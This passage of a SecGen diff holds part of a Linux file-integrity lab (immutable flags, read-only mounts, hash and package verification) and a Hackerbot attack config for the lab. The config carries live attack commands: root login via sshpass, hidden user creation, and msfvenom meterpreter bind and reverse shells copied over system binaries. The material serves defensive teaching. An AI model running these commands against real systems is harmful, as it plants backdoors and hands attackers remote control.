/var/log/mylogfile + +Now try to delete the file and see what happens: + +> rm /var/log/mylogfile + +Denied! Opps, that’s right, root owns the file (since you created it +with sudo)! Use root to try to delete the file: + +> sudo rm /var/log/mylogfile + +It still didn’t work! That’s right, even root can’t delete the file, +without changing the file’s attributes back first. + +Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”). + +Now run a command to set the ‘a’ flag on /var/log/mylogfile. + +If you have done so correctly, attempting to overwrite the file with a +test message should fail: + +> sudo bash -c 'echo "test message" > /var/log/mylogfile' +> +> This should produce an error, since ‘>’ causes the output of the +> program to be written to the specified log file, which is not allowed +> due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +> sudo bash -c 'echo "*your-name*: test message" **>>** +> /var/log/mylogfile' +> +> This should succeed, since ‘>>’ causes the output of the program +> to be appended (added to the end of) to the specified log file, which +> is allowed. Use your name above, for example “echo "Cliffe: test +> message" >> /var/log/mylogfile”. + +View your changes at the end of the file: + +> tail /var/log/mylogfile + +This has obvious security benefits, this feature can be used to allow +files to be written to without altering existing content. For example, +for ensuring that log files can be written to, but avoiding giving +everyone who can write to the file the ability to alter its contents. + + +### Protecting integrity with read-only filesystems + +On Unix, a filesystem is mounted to a particular point in the directory +structure; for example, a USB thumb drive may be mounted to +/media/myUSB/. Some filesystems will automatically mount read-only; for +example, if you insert a CD-ROM, since those disks are physically +read-only. It is possible to optionally mount almost any filesystem, +such as a USB or even a directory, in read-only mode, which will make it +practically impossible to write changes to it (without remounting or +accessing the drive/directory in other ways, which normally only root +can do). + +> In a command prompt, run: +> +> mount +> +> Note that many of the devices and directories have been mounted for +> read and write access (**rw**). For security reasons, it can be safer +> to mount things as read-only, when we don’t need to be able to make +> changes to the contents. +> +> Ordinary users can only read the /etc directory but the superuser root +> who owns the /etc directory can read and write to it. In the following +> example, you are going to mount the /etc directory to a mount point +> (another directory within the filesystem) and the contents of the /etc +> directory will be accessible via the mount point. +> +> List the contents of the /etc directory so you are familiar with its +> contents: +> +> ls /etc +> +> Create a new directory to be the mount point: +> +> mkdir /home/student/test +> +> Mount the /etc directory to the new mount point: +> +> sudo mount -o bind /etc /home/student/test +> +> Make sure the /etc directory is accessible via the test directory +> mount point: +> +> ls /home/student/test +> +> Ordinary users can only read but the superuser root can still write to +> the directory. Test this by creating a new file as the superuser root +> in the /home/student/test directory: +> +> sudo touch /home/student/test/file1 +> +> Check that a new file has been created using the following commands +> +> ls -l /home/student/test/fi\* +> +> ls -l /etc/fi\* +> +> We can use this techniques to make filesystems and directories +> read-only. In the next example you will remount the etc in read-only +> mode so that even the superuser root who owns the /etc directory +> cannot make changes to its contents via the mount point. +> +> sudo mount -o remount,ro,bind /etc /home/student/test +> +> Test this by trying creating a new file as the superuser root in the +> /home/student/test directory: +> +> sudo touch /home/student/test/file2 +> +> This should prevent changes being accidently being made to important +> configuration files in the /etc directory. +> +> Remount the the /etc directory as read-only to itself: +> +> sudo mount -o remount,ro,bind /etc /etc + +Mounting read-only can be an effective way of protecting resources that +you don’t need to make any changes to. Read-only mounting is +particularly effective when an actual disk resides externally, and can +be enforced remotely. For example, when sharing files over the network. + +Note that mounting read-only may be circumvented by root (or a user with +enough privilege) via direct access to the device files (/dev/sdc1 in +the example above), or by re-mounting as read-write. + +Aside: in new versions of Linux, it is also possible to have a directory +(one part of what is on a disk) present in the directory structure twice +with different mount options (for example, /home/cliffe and +/home/cliffe-read-only). This can be achieved by bind mounting, and then +remounting to set the bind mount to read only. More information: +[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/) + +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest +defenses can fail, and when they do we want to know about it! In order +to respond to a security incident we need to detect that one has +occurred. One way we do so, is to detect changes to files on our system. + +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the +system or resources in a clean state. One advantage of this approach is +that we cannot only detect that files have changed, but also see exactly +how they differ. + +You can (and, if possible, should) **conduct this exercise with a +classmate**. + +Make a backup of your /etc/passwd file: + +> cp /etc/passwd /tmp/passwd\_backup + +This file (/etc/passwd) is an important file on Unix systems, which +lists the user accounts on the system. Although historically the hashes +of passwords were once stored here, they are now typically stored in +/etc/shadow. Changes to the /etc/passwd file are usually infrequent – +such as when new user accounts are created – and changes should only be +made for authorised purposes. + +At this point, also make sure you have a backup of any work. + +If you are working with a classmate or using two VMs, once you (and your +classmate or on the other VM) have saved a backup copy of your own +passwd file using the above command, then connect to your classmate’s +computer (other VM) using ssh: + +> Set your root password to a password you will share with your +> classmate: +> +> sudo passwd +> +> Enable your SSH server: +> +> sudo /sbin/service sshd start +> +> Open port 22 for ssh access to your computer +> +> Click KDEMenu → System → Yast +> +> Click Firewall in the Security and Users section +> +> Click “Allowed Services” +> +> Choose “Secure Shell Server” from the “Service to Allow” drop down +> list +> +> Click Add to add ssh to the list of allowed services. +> +> Click Next → Finish and close Yast +> +> Find your IP address using ifconfig, and tell your classmate your IP +> address and root password. +> +> ssh *their-ip-address* +> +> (Where *their-ip-address* is as noted earlier.) You will be prompted +> for student account password. +> +> Switch to the root user (you will be prompted for the root password): +> +> su - +> +> If you do not know each other’s root password, then feel free to log +> each other in on an ssh session as root. + +Now that you have root access to their system[^2], add a new user to +their computer... Your aim is to make the new account hard to notice. If +you are working alone, just do this on your own system: + +> useradd *new-username* +> +> Where new-username, is some new name. Don’t tell your classmate the +> name of the account you have created. You may want to create a +> username that looks innocent. + +To make things even more interesting, edit the /etc/passwd file and move +the new user account line somewhere other than right at the bottom, so +that it is less obvious: + +> vi /etc/passwd +> +> Move the cursor onto the line representing your new account (probably +> at the bottom). +> +> In vi type: +> +> :m *-number* +> +> Where number is the number of lines to move up, for example: “:m -20” +> will move the currently selected line up 20 lines, “hiding” the new +> user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Now exit ssh: + +> exit + +If you are working with a together, look at the changes your classmate +made on your computer, and try to spot the new user account: + +> less /etc/passwd +> +> (q to exit) + +It’s not as easy as it sounds, especially if your system has lots of +user accounts. + +Since you have a backup of your passwd file, you can compare the backup +with the current passwd file to determine it has been modified. One such +tool for determining changes is diff. Diff is a standard Unix command. +Run: + +> diff -q /tmp/passwd\_backup /etc/passwd + +Diff should report that the two files differ. Diff can also produce an +easy to read description of exactly how the file has changed. This is a +popular format used by programmers for sharing changes to source code: + +> diff -u /tmp/passwd\_backup /etc/passwd + +There are many advantages to the comparison of backups approach to +detecting changes, but it also has its limitations. To apply this +approach to an entire system, you will need a fairly large amount of +either local or network shared storage, and writes need to be controlled +to protect the backups, yet written to whenever authorised changes are +made to keep the backup up-to-date. Also, when the comparisons are made +substantial disk/network access is involved, since both both sources +need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did +you think of editing your classmates backup passwd file? This is related +to a major issue when checking for changes to the system: if your system +has been compromised, then you can’t necessarily trust any of the local +software or files, since they may have been replaced or modified by an +attacker. For that reason, it can be safer to run software (such as +diff) from a separate read-only storage. Yet that still may not be +enough, the entire operating system could be infected by a rootkit. + +Aside: Filesystems, such as btrfs, that support history and snapshots +can also be helpful for investigating breaches in integrity. + +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes +of files in their known good state. Rather than storing and comparing +complete copies, a one way hash function can be used to produce a fixed +length hash (or “digest”), which can be used for later comparisons. +Hashes have security properties that enable this use: + +- Each hash is unique to the input + +- It is extremely difficult (practically impossible) to find another + > input that produces the same hash output + +- Any change to the input (no matter how minor) changes the output + > hash dramatically + +We can store a hash and later recompute the hash, to determine whether +the file has changed (if the hash is different), or it is exactly the +same (if the hash is the same). If you have studied digital forensics, +many of these concepts will be familiar to you, since hashes are also +commonly used for verifying the integrity of digital evidence. + +Generate an MD5 hash of your backup password file, which you copied +above: + +> md5sum /tmp/passwd\_backup + +Now calculate a hash of your current passwd file: + +> md5sum /etc/passwd + +If the generated hashes are different, you know the files do not have +exactly the same content. + +Note that using hashes, there is no need to have the backup on-hand in +order to check the integrity of files, you can just compare a newly +generated hash to a previous one. + +Repeat the above two commands using shasum rather than md5sum. SHA1 and +SHA2 are considered to be more secure than the “cryptographically +broken” MD5 algorithm. Although MD5 is still in use today, it is safer +to use a stronger hash algorithm, since MD5 is not collision-resistant, +meaning it is possible to find multiple files that result in the same +hash. SHA1 is considered partially broken, so a new algorithm such as +SHA2 is currently a good option. There are a number of related commands +for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and +so on. These commands (as well as those in the next section) are readily +available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously +generated hashes. A number of these kinds of tools exist, and these can +be considered a form of host-based intrusion detection system (HIDS), +particularly if the checking happens automatically. One of the most well +known integrity checkers is Tripwire, which was previously released open +source; although, new versions are closed source and maintained by +Tripwire, Inc, with a more holistic enterprise ICT change management +focus. There are other tools similar to Tripwire, such as AIDE (Advanced +Intrusion Detection Environment), and OSSEC (Open Source Host-based +Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check +a list of file hashes. + +Create an empty file, where *your-name*, is your actual name: + +> touch *your-name* + +Run the following to generate a file containing hashes of files we can +later check against: + +> shasum *your-name* >> /tmp/hash.sha +> +> shasum /etc/passwd >> /tmp/hash.sha +> +> sudo shasum /etc/shadow >> /tmp/hash.sha +> +> shasum /bin/bash >> /tmp/hash.sha +> +> shasum /bin/ls >> /tmp/hash.sha + +Look at the contents of our new hashes file (Q to quit when done): + +> less /tmp/hash.sha + +Now use your new hash list to check that nothing has changed since we +generated the hashes: + +> shasum -c /tmp/hash.sha + +Why does shasum fail to check the integrity of the shadow file? + +Make a change to our empty “*your-name*” file: + +> echo "hello" > *your-name* + +Check whether anything has changed since we generated hashes: + +> shasum -c /tmp/hash.sha + +You should see a nice explanation of the files that have changed since +generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a +Perl script): + + #!/usr/bin/perl + + # Copyleft 2012, Z. Cliffe Schreuders + + # Licenced under the terms of the GPLv3 + + use warnings; + + use strict; + + my %files\_hashes = ( + + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + + ); + + foreach my \$file\_entry (keys %files\_hashes) { + + my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`; + + chomp(\$hash); + + if(\$hash ne \$files\_hashes{\$file\_entry}){ + + warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected + \$files\_hashes{\$file\_entry})\\n"; + + } else { + + print "File unmodified: \$file\_entry (hash was \$hash, as + expected)\\n"; + + } + + } + +This script simply iterates over a list of file paths with SHA1 hashes +(stored in an associative array), and runs sha1sum for each one to check +whether the files are still the same. + +Save the script as checker.pl (Help: you may wish to install the default +KDE GUI text editor Kate, if it is not already installed under the +Utlities menu. You should be able to copy the script and paste it into +Kate to save it as checker.pl. Kate can be installed using the following +command: “sudo zypper install kate”) + +Then run the script with: + +> perl checker.pl + +Are the files reported as unmodified, or have they changed? Why might +they be different to when I wrote the script? + +##### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for +different hash algorithms) can recursively walk through directories (and +into all contained subdirectories) to generate and check lists of +hashes. + +Run: + +> sudo sha1deep -r /etc +> +> If the md5deep command is not available, install it: +> +> On openSUSE this can be done by first running “cnf sha1deep”, to find +> the name of the package containing the program, then run the install +> command it gives you, such as “sudo zypper install md5deep”. +> +> If you get “PackageKit is blocking zypper”, then select “no”, and kill +> PackageKit, by running “kill -9 *pid*”, where *pid* is the number +> reported by the previous command. Now run the above again. +> +> If the zypper command is stuck on refreshing a repository, then press +> “Ctrl-C”, “a” (for abort), then proceed with the installation as per +> normal. +> +> Once the required software is installed, try the sha1deep command +> again. + +The output of the above command will include hashes of every file in +/etc, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +> man sha1deep +> +> Figure out what the -r flag does. +> +> (Q to quit) + +We can save (redirect) this output to a file so that we have a record of +the current state of our system’s configuration: + +> sudo sha1deep -r /etc > /tmp/etc\_hashes + +This may take a minute or so, while the program calculates the hashes +and sends them to standard out (known as stdout), which is then +redirected to the etc\_hashes file. + +Next, let's compare the size of our list of hashes, with the actual +content that we have hashed... + +See how big our list of hashes is: + +> ls -hs /tmp/etc\_hashes +> +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc: + +> sudo du -hs /etc +> +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, the list of hashes is much smaller. + +If you are **working with a classmate**, log into their system using ssh +(as done previously). If you are working alone, simply run all the +commands on your own system. + +Create a new file somewhere in /etc/, containing your name. Name the +file whatever you like (for example /etc/test), although the more +inconspicuous the better. + +> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing +> your name, “Esc”, “:wq”. + +Also, change an existing file in /etc on their system, but please do be +careful to only make a minor change that will **not cause damage to +their system**. For example, you could use vi to edit /etc/hostname +(“sudo vi /etc/hostname”), and add a comment to the file such as +“\#your-name: bet you can’t find this comment!” + +You can now “exit” the ssh session. + +**On your own system**, lets try to identify what the “attacker” has +done to our system... + +Now that we have a list of hashes of our files, use shasum to check if +anything has changed using our newly generated list of hashes +(/tmp/etc\_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by +checking all of the files it is told to check (possibly recursing over +all files in a directory) against a list of hashes, and reporting +whether any files it checked did not (or did, depending on the flags +used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash +previously generated: + +> sudo sha1deep -X /tmp/etc\_hashes -r /etc + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +> sudo cp /etc/passwd /etc/passwd.backup + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or +sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more +coverage when it comes to detecting files that have moved, changed, or +created. + +Generate a hash list for /etc using hashdeep: + +> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes + +Hashdeep stores hashes in a different format than the previous tools. +Have a look: + +> less /tmp/etc\_hashdeep\_hashes +> +> (q to quit) +> +> Note that the output includes some more information, such as the file +> size for each file. + +Delete the new file that your “attacker” (the person who sshed into your +system) created earlier: + +> sudo rm /etc/*whatever-the-filename-was* + +Conduct a hashdeep audit to detect any changes: + +> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc +> +> Note, that this can take a while, so feel free to start working +> through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the +default message does not provide any information as to why an audit has +failed: + +> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc + +Consult the man page for information about what each of the above flags +do. + +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, +install, and update software. The package management system has a +database that keeps track of all the files for each program or software +package. Depending on the package management system used, the database +may maintain hashes in order to detect changes to files since install. +RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes +of each file that is included in software packages. There are commands +that can be used to detect changes to files that have occurred since +being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of +files to not match the “fresh” versions that were installed: for +example, configuring a system for use will involve editing configuration +files that were distributed with software packages. + +The “rpm” command has a -V flag for verifying the integrity of packages. + +Choose any system file on the computer, such as /etc/securetty. To +determine which package the file belongs to: + +> rpm -q --whatprovides *any-file-you-chose* +> +> Where any-file-you-chose is any file such as /etc/securetty. + +The output of that command the package-name, and is required in the next +step. + +Check the integrity of the file: + +> rpm -V *package-name* +> +> Where package-name is the output from the previous command. + +An example from the output would be: + +> 5S.T..... c /etc/securetty + +Which means, it is a config file (c), and: + +- S – file Size differs + +- M – Mode differs (includes permissions and file type) + +- 5 – MD5 sum differs + +- D – Device major/minor number mismatch + +- L – readLink(2) path mismatch + +- U – User ownership differs + +- G – Group ownership differs + +- T – mTime differs + +- P – caPabilities differ + +Use the above information to understand the output from your above rpm +-V command. + +Next verify the integrity of all of the packages on the entire system +(this may take a while): + +> rpm -Va + +Try to understand the cause of any files failing the integrity checks. + +Consider the limitations of this approach: what files will (and won’t) +this approach to integrity management cover? + +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a +system is compromised, you may not be able to trust any of the tools on +the system, or even the operating system itself to behave as expected. +In the case of a security compromise, your configuration files may have +been altered, including any hashes you have stored locally, and tools +may have been replaced by Trojan horses. For this reason it is safer to +run tools over the network or from a removable drive, with read-only +access to protect your backups and hashes. Even then, the +OS/kernel/shell may not be telling you the truth about what is +happening, since a rootkit could be concealing the truth from other +programs. + +### Problem-based tasks + +#### Choosing files for integrity checking + +Fill in the table below with a number of files on a Unix or Windows +system whose integrity should be monitored for security purposes: + + **Filename** **Description** **Security reason for monitoring integrity** + --------------------- ------------------------- --------------------------------------------------------------------------------------------------------------------- + *Unix: /etc/passwd* *List of user accounts* *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system* + + + + + + + + + + + +**Complete the table above, with a number of Unix/Windows files that +should be monitored for integrity, as evidence that you have completed +this part of the task.** + +**Label it or save it as “Integrity-A1”.** + +Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a +cron job, so that every hour the integrity of some important files are +checked, and any errors are emailed to root. + +Hints: Any output on standard error (stderr) on a cron job results in a +local email to root. As root, type “mail” to read the local emails. Run +“crontab -e” to add scheduled tasks. Google will certainly help here. + +Help: You may find the following links if you have not used cron before +to run scheduled tasks. + +[*Click here for an openSUSE +Video*](https://www.youtube.com/watch?v=bQfza9aLjss) + +[*Click here for a cron +tutorial*](http://www.computerhope.com/unix/ucrontab.htm) + +[*Click here for cron +examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/) + +**Take screenshots of an hourly cronjob rule, and email with an +integrity report from md5sum/deep or hashdeep, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A2”.** + +Add to your above solution, by considering and implementing some +protection against modifications to your hash file/database. + +**Take a screenshot of your configuration for protection of the hash +file (and include a one sentence description), as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A3”.** + +Install either OSSEC (Open Source Host-based Intrusion Detection +System), AIDE (Advanced Intrusion Detection Environment), or Tripwire +(if you can find a copy), and use it to monitor the integrity of your +files. Modify a file named *your-name* (your actual name) and view a +report or alert that the integrity of the file has been compromised. + +**Take a screenshot of a report from OSSEC or AIDE that a file named +after you has been altered, as evidence that you have completed this +part of the task.** + +**Label it or save it as “Integrity-A4”.** + +Add to the integrity monitoring script given earlier, to store and +retrieve the hashes from a file. + +For extra marks, protect the hashes using a HMAC, with user interaction +to enter a password. + +**Save your modifications of the script, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A5”.** + +### Resources + +An excellent resource on the subject of integrity management is Chapter +20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, +by Garfinkel et al (2003). + +[^1]: Setting a file to immutable (and therefore impossible to simply + delete) can be an effective prank against the uninitiated in Unix + ways. + +[^2]: It is obvious that there are risks associated with knowing each + other’s root passwords! Obviously, use this knowledge responsibly to + work together to complete the tasks. + +## License + +![](media/media/image4.png) + +This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons +Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb new file mode 100644 index 000000000..106314570 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb @@ -0,0 +1,450 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$main_user}/#{$files.sample}" + $example_dir = "/home/#{$main_user}/personal_secrets/" + + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 14 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me. + + + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along. + When you are ready, simply say 'ready'. + 'Ready'? + Better hurry, the attack is imminent... Let me know when you're 'ready'. + Ok, I'll do what I can to move things along... + Moving things along to the next attack... + Ok, next attack... + Ok, I'll do what I can to back things up... + Ok, previous attack... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last attack for now. You can rest easy, until next time... (End.) + That was the last attack. Game over? + You are back to the beginning! + This is where it all began. + Ok. Gaining shell access, and running post command... + Hacking in progress... + Attack underway... + Here we go... + We are in to your system. + You are pwned. + We have shell. + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + Integrity Management: Detecting Change + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
<%= File.read self.templates_path + 'integrity_limitations.md.erb' %> + +<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $random_user = 'user' + SecureRandom.hex(3) -%> + + An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd. + + rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $? + + + returned error code + :( Couldn't add a user -- make sure /etc/ is not still read-only mounted!. + + + 0 + User added + + + + + already exists + :( Remove the user and try again. + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Now after the attack, find the username added by diffing using a backup. What username was created? + ^<%= $random_user %>$ + :) <%= $flags.pop %> + + + +<%= File.read self.templates_path + 'detect_changes.md.erb' %> + +<%= ERB.new(File.read self.templates_path + 'detect_changes_backups.md.erb').result(self.get_binding) %> + + + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /etc/ + A flag has been inserted into a random file in /etc/. Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/ + + + :( Something was not right... We are trying to write to /etc/ + + + + Find the flag in your backups. For a second flag, what file was the flag stored in? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /home/<%= $main_user %>/backups/ + A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + + :( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + + + Find the flag in your backups. For a second flag, what file was the flag stored in? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + +<% $random = SecureRandom.hex -%> + + Creating a new file in /home/<%= $main_user %>/... Let it happen. + + echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $? + + 0 + Created /home/<%= $main_user %>/something_secret + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the SHA1 hash of /home/<%= $main_user %>/something_secret? + ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$ + :) <%= $flags.pop %> + + + <%= ERB.new(File.read self.templates_path + 'fim.md.erb').result(self.get_binding) %> + + + + + Going to edit one of your files in /etc/. First, create hashes of /etc/. You will use hash comparisons to detect which file changes + x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that changed? Use hash comparisons. + {{post_command_output}} + :) <%= $flags.pop %> + + + <%= ERB.new(File.read self.templates_path + 'fim_recursive.md.erb').result(self.get_binding) %> + + + + + Going to create a new file in /etc/, use hash comparisons to detect which new file changes. + x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX" + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file. + srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filenames. + mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo "$mv1 $mv2|$mv2 $mv1" + + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What were the two files that were created? Write the two full paths separated by a space. + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to copy a new random file in /etc/ use hash comparisons to find the filename. + srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + binname=$(sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'); echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/bind_tcp -f elf -o /tmp/msfout; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no /tmp/msfout root@{{chat_ip_address}}:$binname + false + + Going to replace a binary file in /bin/ or /usr/bin/ with malware. Use PACKAGE VERIFICATION to detect which file has changed + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes.../ + + + :( Something was not right... + + + + What is the file that was created? + {{pre_shell_command_output_first_line}} + :) <%= $flags.pop %> + + + <%= File.read self.templates_path + 'fim_package_management.md.erb' %> + + + + + + + binname=$(sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'); echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/reverse_tcp -f elf -o /tmp/msfout; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no /tmp/msfout root@{{chat_ip_address}}:$binname + false + + Going to replace a binary file in /bin/ or /usr/bin/ with malware. Detect which file has changed + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes.../ + + + :( Something was not right... + + + + What is the file that was created? + {{pre_shell_command_output_first_line}} + :) <%= $flags.pop %> + + + + + + Finally, try to prevent me from obtaining shell access to your system + :) Failed to get shell... <%= $flags.pop %> + + +
